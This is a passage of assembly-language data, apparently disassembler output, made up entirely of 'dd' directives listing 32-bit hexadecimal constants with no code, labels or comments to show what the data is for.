		dd 4560AB96h, 13D1FFFAh, 56999589h, 0A545A898h,	0F62752EBh
		dd 6F13E00Bh, 0BD7A0A22h, 0CC6620Dh, 2C52D85h, 5FB79Dh
		dd 0E578FB3Fh, 0FC253652h, 909AFA90h, 0D2C29560h, 2565F97Fh
		dd 1809C56h, 0BB82CDE3h, 906120B4h, 7C2AB92Eh, 0B09BB50h
		dd 6065C069h, 0ED078CC4h, 71B5EB44h, 5B0CB7A1h,	9C2FE24h
		dd 0F7E96159h, 0E271D956h, 0B6609424h, 2144091h, 0DC2449AEh
		dd 0CD117EC8h, 0B5316107h, 0E9545BC9h, 402F5EE9h, 53C31A7Dh
		dd 10909F00h, 0A6C7708h, 2E57F4D2h, 3E8E80B3h, 222A88CEh
		dd 0EA0EB700h, 0E913FCA6h, 3C6F034Dh, 425C6DF0h, 58AAC7h
		dd 0E1B352D0h, 9F00E8D2h, 0FD3E65DFh, 0C7DA442h, 0EE6CDB6Eh
		dd 8BA656F6h, 76EDBB07h, 56DB3C88h, 5FEA6E31h, 0C6589B1h
		dd 2111457h, 7204E381h,	945554FCh, 582893EEh, 0A0726031h
		dd 3280392Eh, 27339508h, 490570E4h, 0F4917A8Eh,	5E3AB6AFh
		dd 0BEA3EBE6h, 1799DA19h, 3723FF45h, 0D7509400h, 2DB4FC61h
		dd 7D067F02h, 0E0CAEF80h, 0A61C7578h, 0F1C3044Ch, 0B9360B78h
		dd 410A88ECh, 928EDB5h,	1762E230h, 470E69Ah, 723153Fh
		dd 0BFE171E4h, 482E7DE7h, 0AAA4E8EEh, 572BA109h, 1DF12630h
		dd 39D29C8Eh, 52D9C125h, 4A0A400h, 4BB565h, 0EBFBF09Ah
		dd 8A601F72h, 7CE8D528h, 8EB4470Eh, 699040FFh, 905F7102h
		dd 4E93E78Dh, 27AA204h,	5303682Fh, 994655DFh, 0C0EE7125h
		dd 71DB80F6h, 448F972Bh, 60D18DDCh, 52CC9ECh, 647AB809h
		dd 0AF48B58Bh, 0CEE9D23h, 4922F9Ch, 0A512C7E2h,	2B61AE33h
		dd 3C0D2F09h, 0E4D24AC0h, 0E9FC2106h, 536BA545h, 0B56034B9h
		dd 51A70130h, 649DA524h, 0C02853E3h, 0E1094927h, 1A32E95Bh
		dd 0FA598451h, 5B00C5C4h, 0F0037FBBh, 2569B652h, 3920E06Ch
		dd 75CAC49Ch, 2531BB0Ch, 0DC2A1EADh, 0F27F59Dh,	0B34E682h
		dd 42B92C28h, 81F6BE42h, 0BEA995DCh, 21155C02h,	0C451EF0Eh
		dd 46C1D88Ah, 6770C02Bh, 0BA96A98Dh, 0A9D33EAFh, 7F2E3FD1h
		dd 31B236Bh, 0BF692764h, 0FACCD1D8h, 144F2B8h, 9D0B12F9h
		dd 8A9D2245h, 14A36655h, 0CE2F3EC3h, 880DD909h,	7F602AD1h
		dd 9512D48Fh, 17644E6Dh, 0F8D9BA60h, 1008154Ch,	0BB02347Dh
		dd 10FA9024h, 114EB555h, 7092000Bh, 0CD167531h,	8EBE0917h
		dd 0AE44D561h, 0F6A70400h, 287B9570h, 45C80164h, 3C9C6EA4h
		dd 264336Fh, 0B31B91EBh, 514D5CD8h, 59BF1094h, 4E2E27F5h
		dd 0F63C6A8Ah, 11EF18C0h, 954A5BFCh, 35AF755Bh,	8B380068h
		dd 0D43EAA47h, 0D335A2Eh, 205F3210h, 82423BE4h,	0E9C2EA07h
		dd 45202E1Eh, 1E6FDBAh,	0B96E2B94h, 3EE866C7h, 1109508h
		dd 0E9E1FF5Bh, 0B82D1313h, 398D404h, 0E695FDA3h, 0BD8C8BCh
		dd 0BB098DD5h, 71F37889h, 525044B3h, 5E88A7B2h,	3985C5A1h
		dd 81EA43A0h, 25A1BD90h, 0A3292B0Bh, 0FF3B5AFFh, 0AE5BF16Bh
		dd 8F0F4761h, 7C524142h, 45B1327h, 4313ED70h, 0CA2960DAh
		dd 56506A71h, 0B25E3E97h, 0F94B76E0h, 95318380h, 0CC2AE729h
		dd 97865567h, 5D43C84Dh, 14B990A5h, 2E62094Ah, 0E0535A3Ah
		dd 6F181859h, 0DFCAAD02h, 758B0F66h, 5451D519h,	0CF82ACB7h
		dd 870473F9h, 5B072BD9h, 0C7819990h, 205F82A0h,	6EF5D8DEh
		dd 0C09C73DBh, 83C50F8Fh, 0D2EBBFCFh, 0EB0B586Ch, 7D6AB9B7h
		dd 67C072EDh, 9AEA8Ah, 68B6B379h, 255BCEEDh, 31FE4B7h
		dd 0AC9ACFB8h, 9DB10286h, 0B9017F46h, 2544CD12h, 10D9F541h
		dd 69AB2D2Ah, 26A8CDh, 61DAE570h, 0F6B0DB81h, 0C675F225h
		dd 0F3F6C258h, 80A0109Dh, 3BE93431h, 0D3BD0B95h, 4C0E7043h
		dd 392F7F00h, 81288F25h, 83CD00E7h, 0BA603AD4h,	0D027D7DBh
		dd 955FD001h, 61C08E9Ah, 29802A51h, 0C4755BB5h,	0D472ACB4h
		dd 1525121Ch, 0DA4A72E7h, 0C114C86Ch, 2606892Fh, 503AF072h
		dd 215D251Dh, 1A59FF73h, 0A7FC6D18h, 9B36560Bh,	0A063710Ch
		dd 5F52590h, 352D3E5Bh,	48E10934h, 454E9864h, 6CC40AE2h
		dd 0FF08BF32h, 815B0734h, 0E8DDC1DFh, 2FC97A3Ch, 52880994h
		dd 0F107E54Eh, 0B70406FEh, 0B7EDF88Bh, 0E999D4C0h, 2BB0245Bh
		dd 0A56625FDh, 0C074EDB7h, 0E54B0E06h, 0CC574303h, 66A180h
		dd 6852EBDCh, 0DB952878h, 0C0090A6h, 7BF4B10Eh,	7A9329h
		dd 7D0B75A4h, 5FFA8BBBh, 87BA0197h, 8BD289DBh, 0B1617D9Ah
		dd 0C3E62A8Dh, 80301AA2h, 0A70A012Bh, 9267DACh,	44907985h
		dd 5FE460C1h, 61DE8B14h, 0FA8A16BDh, 0BB9686ADh, 7AC125CFh
		dd 0C0C67210h, 0A8059688h, 0B18D2B60h, 0CFB5F791h, 956EC43Fh
		dd 0BC86BD4Eh, 0F0DF4B31h, 0CB039DFh, 200DBD17h, 0E29DBFECh
		dd 4AE8605Ch, 4D5CE50h,	615FBEF1h, 0BBF638ABh, 6744CC21h
		dd 89F30925h, 16C845D0h, 0ACF56F5Ch, 0A6D7FABDh, 0E237A0C8h
		dd 0AD850428h, 0AD870F38h, 22994C3Eh, 81A8B10Ah, 85232E9Dh
		dd 0B6282EF6h, 0B77BC5A0h, 91CB2CDDh, 0D2B62EFFh, 3EDB5000h
		dd 5BA8461Bh, 0A6986102h, 7FC4BBF2h, 9D40D095h,	59453EAh
		dd 0B5DF6F66h, 4A18B83Dh, 0DA3BA4DDh, 65D69DDEh, 9CF1C8FBh
		dd 9E26FA00h, 683F5E83h, 5A17F33h, 8AB8C973h, 9563C1C5h
		dd 92947AC1h, 74AFD0C0h, 8D4B4B9Ah, 0CD8C4324h,	0A8DD274Ah
		dd 0C276A6Ah, 54DFB23Ah, 0F21401Dh, 4DDBB73Fh, 8D0104D1h
		dd 3EA90209h, 0C77B0D3h, 0FCA43997h, 0B1EB5649h, 0CB6A201Dh
		dd 42DA5B45h, 2D6C7080h, 0CB01DAC7h, 9D093106h,	0CB6A28A9h
		dd 6A6A4B4Ch, 71FDA700h, 57CF8BA0h, 44B6B85Ah, 60000B22h
		dd 0E870937Fh, 12F7784Dh, 0E1CFA2ADh, 0E46E3B96h, 3E0E100h
		dd 2E27530Bh, 0EEC8654Ah, 0A19F07AAh, 59E41Dh, 0ED5502A5h
		dd 94C6000h, 156A1499h,	150099Ch, 660FDBDh, 0BB045F5Bh
		dd 682C3E0Eh, 6E5EB9B8h, 85960505h, 9DBC1BCBh, 0B9CE2D25h
		dd 8ABF601Ch, 27A38CBh,	4172943h, 0D6C0B861h, 1D69DA04h
		dd 9D2D3314h, 156297Fh,	362CE3DDh, 0DFE7717Fh, 4B372665h
		dd 0B300F5F2h, 4738AEA3h, 6726F3B1h, 111AF097h,	0B548D9F8h
		dd 500AD0B6h, 689240B7h, 2E13EFAAh, 769A4016h, 0A6D76BADh
		dd 8371A050h, 16A325DBh, 2382F379h, 0D50231BDh,	2A4A6E9Ch
		dd 3AB0D7B7h, 1E03DDD1h, 0B350817Ah, 80E70B49h,	0DB56E1E3h
		dd 27465652h, 0D87B61DBh, 941E5B1h, 9B916B4Eh, 441F0C51h
		dd 0F080A61Fh, 1181F75Ch, 3F7D25A7h, 1D64B5EDh,	0C08A8561h
		dd 0FA05C4ACh, 0B4FB7BBEh, 0C6E5E21Dh, 8D89165Fh, 4A2BF8EDh
		dd 3E225DCAh, 0DD076395h, 2BF02DFFh, 0CB04F26Ah, 0B81A2861h
		dd 0C0114833h, 6C39F45Fh, 7B080744h, 0AB3270DDh, 46F61B56h
		dd 0A55B0018h, 0E9B67BCBh, 0C4629559h, 65831FB7h, 0E056C588h
		dd 97536043h, 11844C1h
		dd 92DF0159h, 9201FC25h, 0FC6EAAC1h, 22A78000h,	1F499531h
		dd 0AE4665B5h, 0A207D482h, 627FBDCh, 2AA80974h,	1BFAD827h
		dd 0AA5D852Fh, 2F4AD55h, 412E8BB1h, 626023C1h, 1F9713EDh
		dd 8014912Ch, 0B3E1BF49h, 8B18149Dh, 0BC0583FAh, 6F07D62Ah
		dd 72CB3CADh, 4DF78B95h, 0BF78C409h, 97049612h,	30562B19h
		dd 5B43C95Ah, 0DF36B200h, 24064432h, 995202C6h,	2E95F5CFh
		dd 0FA56BAA4h, 65C9C803h, 0A08C5E5Bh, 9AA42397h, 799D030Bh
		dd 5AD6542Ah, 9D400D6h,	0FAD41E6Fh, 0E4AFCC59h,	0DD030743h
		dd 61F9A08h, 612D8A2Bh,	922DAE18h, 282ADAF1h, 2EE198DAh
		dd 64A3E3E7h, 4BCCD3E0h, 6A6B4900h, 0C99D8B02h,	8E539630h
		dd 90E10BDFh, 7F16890Fh, 2C434670h, 0FC9C002Eh,	79765CA1h
		dd 29003AE7h, 44755BCh,	138B50E2h, 305290F9h, 0B23EE037h
		dd 42C89B07h, 0D5720D41h, 9E86C6C2h, 0E80BF4D2h, 2282D179h
		dd 756B19B1h, 19A048C6h, 0E9801131h, 0D5519D29h, 7085C6C4h
		dd 7802DDF3h, 3F6C3AD0h, 8962D556h, 0C3A477BDh,	6C64E190h
		dd 0F00C80A7h, 706BD1Dh, 0F5F31FC3h, 7F6F60D1h,	0A5959828h
		dd 0B809909Fh, 54FD298Dh, 1878DAB6h, 61A7175Ah,	0B59D3104h
		dd 7DE01922h, 0FF25002Dh, 77044FBh, 45BD0182h, 0FDFA1D87h
		dd 77873BA6h, 5D09C132h, 94613412h, 4AEA28A9h, 0AA6FCDB3h
		dd 0BAFE2E4Bh, 0B7113251h, 85AC9ED5h, 19B070E0h, 2E2970E6h
		dd 73212B2Ch, 508BDE8Bh, 43543099h, 0DD5C0D64h,	0B21D928Dh
		dd 0E9B24F78h, 97F83B00h, 396F7050h, 2759E500h,	0C249FC84h
		dd 4AD07FC6h, 4289C952h, 0B7220214h, 511EC295h,	3FC200E7h
		dd 429DDCECh, 96298400h, 283A045Fh, 0EEDB7A81h,	0C17F4AE8h
		dd 2BD98B80h, 0CBAC7012h, 0A15D080h, 0A9000BE1h, 0D7CD561Ch
		dd 51B131F4h, 4B3E85B5h, 60605F2Dh, 2B3B8A9Ch, 0CECB02C8h
		dd 551A86BCh, 0E9FB8082h, 2993D45Eh, 21AE1312h,	0C44C44FEh
		dd 8B95F85Fh, 12827C7Eh, 2E7EB334h, 71C2F280h, 4EE5F31h
		dd 1C1896EBh, 15CA59A8h, 39F269EEh, 9E4AE929h, 0A8048C08h
		dd 0DFAB25BCh, 75B0A266h, 0C2C49D4Ah, 0C7D29AAh, 0C7008BB3h
		dd 0C1F71C98h, 9B120B9h, 3EFA4476h, 0DC24A65Bh,	9EB9DF8Ah
		dd 0BC827B20h, 7BC29D54h, 4553FDAAh, 84C6B479h,	6A4B3986h
		dd 0D979B573h, 251F63F0h, 0D566FB53h, 1701E3F6h, 0B95921CCh
		dd 7A2F11BAh, 35250E8Ch, 0F4B88239h, 34466F9h, 0F61BCE30h
		dd 2EF8C74Ch, 640F8069h, 92AEC4A0h, 0E4F5EAB0h,	8EBC00BFh
		dd 85317DF4h, 0ED9F284Dh, 601CC430h, 2E94F932h,	80A9A2C4h
		dd 10C78182h, 5814ED19h, 4FE1D22Bh, 2F4561F5h, 8F4A88A9h
		dd 0C8804AFEh, 0C4605964h, 1E1B9530h, 277DF0C0h, 956102E3h
		dd 88F6D389h, 0CC7EF4h,	47BF1464h, 66782629h, 514EDBECh
		dd 46BEE88h, 7D04F832h,	0D6FBAD0Eh, 0B4206B6Bh,	0F0CDDB4Ah
		dd 0E1108AE4h, 0E4A2992Ah, 1D7FBAE5h, 0F543E304h, 8EEAD2B3h
		dd 0A7DA97B6h, 0A26EB281h, 784FF092h, 0A307C916h, 2D995B05h
		dd 78E338FFh, 0A1DE3FE1h, 6FAA2E82h, 6EF1BD41h,	22B6F812h
		dd 0BB301DA2h, 76600037h, 6F9F78A5h, 4A98473Eh,	54084D25h
		dd 8879E926h, 73DF7D00h, 0A544E7h, 310D321Eh, 0BD3308C8h
		dd 54F1DD69h, 250E289Ch, 0E7652F51h, 7BEF8812h,	26E70152h
		dd 2FCC9421h, 12700B60h, 0E20A7A30h, 46F840Eh, 1CB2CFB3h
		dd 0FEE29B30h, 272070A2h, 92547C62h, 81100859h,	1612C2E7h
		dd 0C1443276h, 8A041411h, 4FF4ACFCh, 0F81FEB6Eh, 99206074h
		dd 10899525h, 0F8C45D4Dh, 0A92126B9h, 2335AFh, 8DC41582h
		dd 0FF312D34h, 21C9A0D7h, 0B224987Eh, 83D80C17h, 147B5300h
		dd 123425DCh, 0AA0AF185h, 1823756Bh, 62B36501h,	0B72FCC7Dh
		dd 1EE1106Ch, 69C42B28h, 0C5540C09h, 1D46D6h, 91B20CCCh
		dd 0CAC4FCh, 567A5440h,	0D24FEF81h, 5F2C3A16h, 0DA9688B2h
		dd 6F6280CFh, 5860E5Bh,	0FFC7808Ch, 0F00AE66Ah,	5F199A0Ah
		dd 0A6F11701h, 0B8EC0035h, 783D39D7h, 0EA710047h, 2D86E19Fh
		dd 0A53FF809h, 0B3BC0068h, 0D4E4BBEEh, 80594A82h, 6B47C687h
		dd 0B0C8115Fh, 0E848020Ah, 93537775h, 91CEB555h, 3D028019h
		dd 48356433h, 0E83AAE62h, 284F9D9Dh, 335F005Fh,	0FCDA4E0Eh
		dd 8B01C547h, 582FF72h,	5BC9D6CEh, 88DDD82Ah, 0A4820F88h
		dd 84278992h, 3E9CD4h, 703CEF56h, 51861D3Bh, 0FDC04704h
		dd 0F7845FA4h, 0DC8C28BAh, 2CF42400h, 1C18B909h, 8DF04B77h
		dd 2ED8D97Ah, 16B87034h, 12547880h, 0E7739C67h,	0C677DB25h
		dd 12E89878h, 0AA5ACCC7h, 1623A06Bh, 0C692E400h, 0B8030689h
		dd 0A7195A25h, 1DBB027Fh, 5C25956Bh, 7D4D2F3Ch,	0A8B3DC1h
		dd 0A086A681h, 33506956h, 84940006h, 7ADC938Bh,	7306FEB7h
		dd 0E11704D6h, 0AD34898Eh, 58F0BD68h, 4AA70098h, 0BBA30B33h
		dd 0E425E8C2h, 0B526C65Ah, 0B606FF40h, 80E3C526h, 3952982Dh
		dd 96D9243h, 1C594DF9h,	8B257C66h, 13F666DAh, 49C19D89h
		dd 0D44490C6h, 0FF59CD00h, 0F4691AA3h, 390F04D3h, 0AB2C5B45h
		dd 0FB8BBC44h, 0F8BB48ABh, 0FAB712BCh, 742B21C2h, 1546DE0Dh
		dd 12561E24h, 0AD5ECC8Eh, 18A03341h, 0FD8A126Dh, 0B846FD61h
		dd 7FC20358h, 0B2252A85h, 89DFC602h, 753235B5h,	35AD2A4Dh
		dd 0BCC00011h, 0AE10C602h, 9529EF12h, 0D4A82B12h, 0BD7F40E2h
		dd 0C0F4870Ch, 0FAE205A0h, 0EB58F7A2h, 0E9294071h, 10AFF3BCh
		dd 2E3F64h, 52FE7A6Dh, 5BF343E1h, 0D21F1D97h, 58D4B374h
		dd 0E0767B48h, 0EC764B34h, 77D10B4h, 0EF055C48h, 5619D9Ch
		dd 0EA22199Ch, 0D300BCF3h, 9EA90D3Ah, 4495893Ch, 830F1287h
		dd 0E970BB14h, 1BA3A0Eh, 7235747Ch, 0C8DB1B79h,	5F4B560Dh
		dd 85828DE2h, 41090475h, 13230182h, 292762CCh, 144E5290h
		dd 14BC1BA9h, 0FCA7258Ch, 0ED9736CEh, 0EC3141C8h, 0BD352BF5h
		dd 0EB00D06Fh, 1E36B3F9h, 4CB79C9Dh, 4B29F299h,	0C83B9B31h
		dd 0B05EC414h, 0A59896D1h, 9EA1FF3Dh, 0B725DC8Ah, 0BF7C004Bh
		dd 6DDF1734h, 29FA611Eh, 39BB6642h, 79D2B297h, 0A53E0069h
		dd 634F75B0h, 0ED02CD00h, 432C4657h, 0D0621D4Ch, 6CCAA544h
		dd 78B77BF7h, 0C8028FC5h, 78FEE006h, 2469468Eh,	0A4969A5h
		dd 0C7DCF07Ch, 44EFB1BFh, 0F5D82A29h, 0E02D880Ch, 1BEE5F02h
		dd 7F3751D6h, 8059ACA9h, 9EB7FF2Dh, 0A08E1E0Fh,	9783CD4Ah
		dd 0B73DB035h, 6D2710E5h, 1E6B422Dh, 2D206F58h,	9D03121Fh
		dd 8235A8A1h, 0C5F504C2h, 0EE009B0h, 39936070h,	754A0178h
		dd 30EE034Dh, 0F9CB8092h, 0C6FED425h, 834D9563h, 0CC7F33C1h
		dd 0FB74252Eh, 0AAE0F5A6h, 8C0125A4h, 0E4D183C7h, 0E73B3DDh
		dd 0A8E50E00h, 51C459F0h, 1F07F501h, 0B7E656D7h, 0B59B02Eh
		dd 80FB5B97h, 0DCA7FA7Fh, 68BF0FCEh, 9705CD9Ah,	319C1A45h
		dd 69607165h, 0DD50F0F3h, 0E8E30006h, 79262F46h, 0F9609D09h
		dd 3FBF9677h, 62F101B9h, 4EBB6050h, 7AC6313Ch, 96254DFCh
		dd 1DC4C54h, 0A12F574Ch, 0D9389E0Dh, 2A4E71EBh,	1DC8DF9Ah
		dd 0ACF2F1C0h, 0EC49009Eh, 939B3B46h, 0BA97FA8Bh, 5008F311h
		dd 0E301D2EAh, 50C8E9D4h, 4D70457Bh, 3C154165h,	0EF5E804Ch
		dd 15F109F4h, 0E3D245C6h, 0B44B570h, 4EA8A94Eh,	12DE46F2h
		dd 0FC1F5CF6h, 491E2110h, 9C502602h, 0C2C76Bh, 423EF097h
		dd 0C34A54A7h, 0B948CD18h, 0C994B117h, 405081FBh, 0A40200FAh
		dd 0BFAA753Dh, 392E6511h
		dd 0F0891E38h, 89707931h, 0FCB9D88Ah, 196B100Bh, 0ECAB0464h
		dd 0EE1D31A8h, 26B8EDC4h, 9DB529C1h, 850D8418h,	2CBD2565h
		dd 0FD9D29E0h, 1DA21847h, 678330h, 2C2AB227h, 0A8BDB7E7h
		dd 0EA1766B0h, 5FA8C6B0h, 1E68FF92h, 0AD8D2C09h, 0ADE6AD1Dh
		dd 54E6BB1Fh, 92E95BC1h, 98C6FFF2h, 1587EDh, 1EEDF377h
		dd 0E176D44Ah, 0B143BF00h, 96F2A397h, 0C18B24B2h, 0C107DE7Dh
		dd 949989FAh, 1668ACE1h, 4280F32Ch, 0CE983908h,	5F9DB317h
		dd 1D3881FBh, 36A63A51h, 0E83018B2h, 0AE8E0C35h, 5202507Dh
		dd 0B6F8BF0Bh, 0BA57596Fh, 0EB4DD45Ah, 0F89B7953h, 0FA4AFC80h
		dd 0F89DB8C4h, 7CD8093Eh, 8A72DA8Bh, 1A217121h,	907F1A66h
		dd 918C9Ah, 703FC36h, 0EA4658Dh, 7C763901h, 4A6CB790h
		dd 0A02E58C4h, 4B3AB68Ah, 422C91D6h, 4132F11h, 0BA00966Fh
		dd 7BBC67F2h, 0B4CD911h, 24162701h, 54450856h, 7730FBEFh
		dd 0CBABB50h, 9016B834h, 419C35DEh, 17B757AFh, 55AD9001h
		dd 0C53A436Eh, 0BFE26Ah, 0F19FFA07h, 6B1E1Ch, 0D2703D81h
		dd 0A7EB4EC1h, 0DE5AFCBFh, 0D7A120Bh, 72A28069h, 0EB9D3165h
		dd 99E7C86Bh, 5BDD264Bh, 123E9F35h, 4942E36Ch, 32854B98h
		dd 13CF09FAh, 5E443479h, 0F84B3052h, 5000FE88h,	8BE7C011h
		dd 0C2B28754h, 26ADE4Eh, 0C0726D5Fh, 9137F2EAh,	9D194F71h
		dd 0F1526090h, 8925B02Eh, 913A0E45h, 1033D1F0h,	9EE8B0BBh
		dd 36511836h, 6CB55BF8h, 0B3E25AF5h, 3AC084DCh,	0B851BD12h
		dd 2A4095BDh, 0B52F9D89h, 47754F20h, 0CD38D115h, 0D99F6079h
		dd 10E7134Ah, 9AFF313Bh, 0BF9001D6h, 4BA0DE46h,	3412DF50h
		dd 26F70F41h, 0E02FA6D3h, 125ADF4Eh, 307398C4h,	10B22571h
		dd 9A837A00h, 0DA116A78h, 2F40F4F5h, 0F4F804ACh, 4FB97h
		dd 9E96D4E7h, 0FE4E8B2Ah, 413801A9h, 28A51D42h,	789773AFh
		dd 0A301F97Bh, 1D9FF66Ch, 0D0380442h, 49E50925h, 0F0D5D11h
		dd 2847118Bh, 0F4AE805Ch, 2F567Eh, 54A55A76h, 0B0D05BC9h
		dd 88C82AE1h, 80D600B8h, 7DF3874Bh, 0C50B4E93h,	565FB2B7h
		dd 0BCD2134Ch, 619CDEC6h, 0BFD45A6Dh, 78573A10h, 0D10C8100h
		dd 594367DFh, 0C3110EA5h, 0F8208510h, 0CC474D31h, 5958908h
		dd 0F45F1223h, 47C2F988h, 94D9D2Bh, 0B72F8872h,	829051A4h
		dd 18F18D29h, 86083257h, 9817B95Dh, 0BEBBA098h,	0B56C5A65h
		dd 5CB041D5h, 66E97FBCh, 0B8692D34h, 0FBD30254h, 0D53ACB3Fh
		dd 0A100136Ch, 0E3C4838Ch, 16E1BA6h, 0B2CFC069h, 0D47F2C02h
		dd 9A61E9FBh, 8C0F562Dh, 0E248252Dh, 5BF4D1C0h,	9F1D10DDh
		dd 59AE65B7h, 554C5002h, 0EC645747h, 58B09200h,	0C88370F4h
		dd 73B4093Ah, 87785F2Ah, 6E251790h, 0D185E21Ch,	0DF8B890Fh
		dd 1945757Ah, 0E996813Eh, 5311984Ch, 4BE58B40h,	0CB5D205Fh
		dd 0D8123C17h, 79F6FB93h, 31A99508h, 0FE5226E4h, 0F0B7DC31h
		dd 1E6F652Fh, 681B1087h, 57147448h, 0D9DD13C2h,	352B71AAh
		dd 0C4F802BCh, 0E8FEBDD1h, 0C6789CD6h, 0B9174829h, 0A3E70F5Bh
		dd 0FFD8F1A3h, 6B12D8A4h, 0C605172Bh, 49880C21h, 0A9295A61h
		dd 0E114A8FDh, 0FC1910C2h, 0C5008B5Ch, 17ADC02Bh, 2E0061B8h
		dd 7AA76BFh, 44E9A1CAh,	0C203CF05h, 2BDB709Ch, 42C67DD2h
		dd 45A55B16h, 0C897DF7Fh, 1B4FC215h, 97DC367Eh,	0D99C37ACh
		dd 342F0841h, 0E20BFFFEh, 0CCC55619h, 4796A12Eh, 75A23A27h
		dd 4A027FB5h, 0E0AF052Dh, 4BCFDB2Bh, 0FF6ED4EBh, 2803437Ah
		dd 0E5914DA3h, 4A7DAC38h, 0C1F484E2h, 3F30E18Eh, 6AA261B7h
		dd 0C4FA70FDh, 0BC2AC97Ch, 577FE27Fh, 0BE678E4Fh, 77EFD710h
		dd 0A43D054Dh, 422FE780h, 350544A1h, 4C64C6D5h,	0F9CB628Dh
		dd 0A504B555h, 0E605BECCh, 0E1FFE38Fh, 0BD4D8Ch, 0EE6784F0h
		dd 0B0889AF3h, 0CC9CDE01h, 0EC6F7DD7h, 0ED97FBC4h, 207E822Eh
		dd 86BC5B04h, 0C204ABA1h, 6A79BFDBh, 5A3D5260h,	8536E329h
		dd 0BDF70497h, 9193CEA0h, 0DE71731Dh, 4D721065h, 1D30406h
		dd 0BFF75E8Bh, 5EFC20D2h, 8215190h, 6F40BDFh, 0CD7F2AFFh
		dd 0F955C04Eh, 35001FF5h, 9915E92Bh, 0F3FD8529h, 1BB2B804h
		dd 84358F0Fh, 0EB5994BCh, 9043EBCh, 0EAA7F8EBh,	997799BDh
		dd 2D598808h, 3410FD2Fh, 65259D29h, 95AF6E13h, 2F1502C1h
		dd 0B2014373h, 83A4F50Dh, 0D337FC51h, 0B15764BAh, 66E2A63h
		dd 13197312h, 8749AF12h, 0DE5CFC6Ah, 89154373h,	0B9718Dh
		dd 9758FC68h, 95FA8B44h, 5B0375C0h, 379D8879h, 884A00B9h
		dd 64152240h, 7B3FE716h, 950203A0h, 42318CB9h, 4DD524B6h
		dd 6214E587h, 0D5E3BCF7h, 473B17A0h, 2038E926h,	32CB8084h
		dd 3047E8B8h, 0EFE07EA3h, 9025C739h, 25787303h,	0D380FA64h
		dd 65B51659h, 0D693A6E4h, 0CECE462Eh, 82CBEB09h, 7517E9F3h
		dd 0CD9D8646h, 4CFC43CAh, 57D75213h, 19B2DFA6h,	0F89030h
		dd 2DE7B292h, 0BECD7DBBh, 90C8344Bh, 0AC7F0FD3h, 0F3A2BA35h
		dd 4E5EB823h, 3879C123h, 662A206Fh, 9000FC5Dh, 81549F37h
		dd 174317C7h, 0F55B08C2h, 4C812A96h, 0F8012C1Dh, 4D9A2B61h
		dd 0F0C079D0h, 8A76DF5Ah, 0AF099B94h, 0F014D5FFh, 5B1B1CD3h
		dd 64BBA88Ch, 51BEF1BCh, 86271A58h, 3050C8FCh, 0A471CBh
		dd 62F16D6Fh, 8CFA4283h, 74E3321Dh, 6226B59Eh, 0A35F4438h
		dd 1B8A0956h, 0D8535841h, 0CA6C70h, 0C709718h, 1E162496h
		dd 0BEFB519Dh, 0BE2A9480h, 75848EABh, 5FE4EB0Fh, 14732142h
		dd 89E18D74h, 2223B62Ah, 55530206h, 7AFCBFF4h, 0DA10AD76h
		dd 8C1CFCh, 0F930DBD2h,	0F626A27Ah, 0CB81E101h,	5224325Ah
		dd 0C8749A6Bh, 7D49C215h, 5D406FDCh, 0F24695h, 0F1C7DA1Bh
		dd 31BC2554h, 50D1692Dh, 5F08406Ah, 3933C2A0h, 78F353B5h
		dd 7A58A206h, 21391634h, 13E53A21h, 1C53C2Fh, 74A5B55Eh
		dd 969DA72Ah, 15A0BAA6h, 0BA7D5261h, 5F577A07h,	170E39E9h
		dd 82F7DBFFh, 0D730E94Ch, 0CB787F1Dh, 38B604C2h, 0BCD7B337h
		dd 2B1AA251h, 1629D758h, 865C06Ch, 0CD31242h, 55855499h
		dd 2111F300h, 0B6A1E0Dh, 577B0A07h, 0B72F19E4h,	0B67453h
		dd 824E26AAh, 1A01D47Eh, 88A9D14h, 6B2FC571h, 1C236Eh
		dd 1DD4A7C2h, 0BC09EDF9h, 596095B9h, 0C7EC0192h, 0D08E2C23h
		dd 641E5665h, 0B916C42Eh, 0E4E4F113h, 0C56DB561h, 0F3601B64h
		dd 0F11D542Dh, 8B97152Bh, 2C81E904h, 5D950901h,	8F742F25h
		dd 0CA0E7AB2h, 0E769C5A4h, 3EF8457h, 0E53EE56h,	8DDB2017h
		dd 33C0F98Fh, 85E6CCBDh, 0FC5CB32Bh, 48F78005h,	0C9789AAAh
		dd 0B583B01Bh, 89F43A6Fh, 6BFAC89Ch, 55C625A8h,	0D3253F98h
		dd 9048E6ADh, 378F2855h, 20492799h, 5BFD8A3Ah, 2BFD0B9Dh
		dd 74C9415Ch, 0B303D426h, 48A8ED6Dh, 1687ED16h,	20AE2D15h
		dd 80DF8B43h, 0EEEBEF25h, 5AD29B07h, 60B799F7h,	2225C16Ch
		dd 99E8E8D6h, 562C292Fh, 22BDAD92h, 6B4BC480h, 4F95D2DCh
		dd 0F00D0053h, 74BB5FCFh, 5415E7Bh, 6A93A12Fh, 0A14A1F8Ah
		dd 9AD82AA3h, 32FD228Dh, 0FA14FCB6h, 2B4F51B5h,	5600D26Eh
		dd 0BCBDE331h, 7D2640E9h, 18602012h, 36B90E0h, 53FC66A3h
		dd 0B803F86h, 640AEE9Eh, 598A4406h, 5CCDB742h, 0DC54E9C2h
		dd 591F01D4h, 8D01E1F9h, 0A33C2E71h, 0F7818832h, 1AAAF109h
		dd 3C60F472h, 0D4CE2DAFh, 3C05D0F4h, 61752532h,	0D9921BEh
		dd 11BB105Fh, 7DE49707h, 5AD47897h, 0AE63A823h,	9C075C0Bh
		dd 46D6375Ch, 0FC761C17h
		dd 72B2CDD6h, 6DC96E00h, 0C82265DBh, 7A004372h,	0A594280Bh
		dd 2A31FB2Eh, 3C8951B5h, 67D2B75Fh, 6DBD290Eh, 442DAB13h
		dd 0EF06A6Ah, 0C19464A4h, 0D88BC06Fh, 90ADA67Ah, 0C09217BEh
		dd 83AC2AAAh, 91B09DAAh, 0B7BDECEh, 6724D5B1h, 0A092F7C6h
		dd 93F9C1Fh, 22B40BC6h,	6D7A0E5Eh, 0DE7B61D8h, 0E0CFC8F5h
		dd 7ACE2102h, 5CF0E9D1h, 0ABBB00F6h, 8B4976C5h,	69CEC150h
		dd 4D55C8AAh, 621564D7h, 0D18FA63Ch, 9BBF4C9h, 387ADDF9h
		dd 0E6BFBF40h, 0D9CB413h, 0D0C367AAh, 0BF3A5551h, 4020E201h
		dd 0DBA8C64Ah, 91B9A430h, 1CC4AD67h, 0CAE3C801h, 0EFD8E835h
		dd 4ABDBC85h, 4920E0D6h, 70A63AE9h, 16A76400h, 964828CFh
		dd 5B506813h, 118F53FFh, 0A55A8237h, 0B8CE6D62h, 0C0960150h
